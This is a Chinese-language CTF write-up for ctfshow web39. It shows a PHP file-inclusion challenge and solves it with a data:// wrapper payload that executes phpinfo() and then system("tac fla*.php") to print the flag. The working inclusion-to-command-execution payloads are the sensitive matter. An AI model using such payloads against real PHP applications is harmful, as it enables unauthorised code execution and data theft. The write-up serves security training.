ctfshow-web39
题目描述:
原理:
审计:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //过滤flag
include($c.".php"); //添加后缀php,无回显
}
}else{
highlight_file(__FILE__);
}
方法:
思路:
绕过flag过滤,利用文件包含漏洞
同样使用web38的方法,使用data为协议
以为这个题目强加后缀,我们来测试一下对代码执行有无影响
http://33082e57-65e2-41c5-a355-043920e4b8a6.challenge.ctf.show/?c=data://text/plain,<?=phpinfo();?>
发现可以执行后缀之前的代码,即强加的后缀无影响。
返回1.php的原因是phpinfo就是返回1,然后加上强加的后缀就是1.php
所以我们直接用web38的方法,构造payload
http://33082e57-65e2-41c5-a355-043920e4b8a6.challenge.ctf.show/?c=data://text/plain,<?=system("tac fla*.php");?>
tac:反向输出flag
Flag:
ctfshow{d069976c-727a-43da-a85a-b3a9f4ba912f}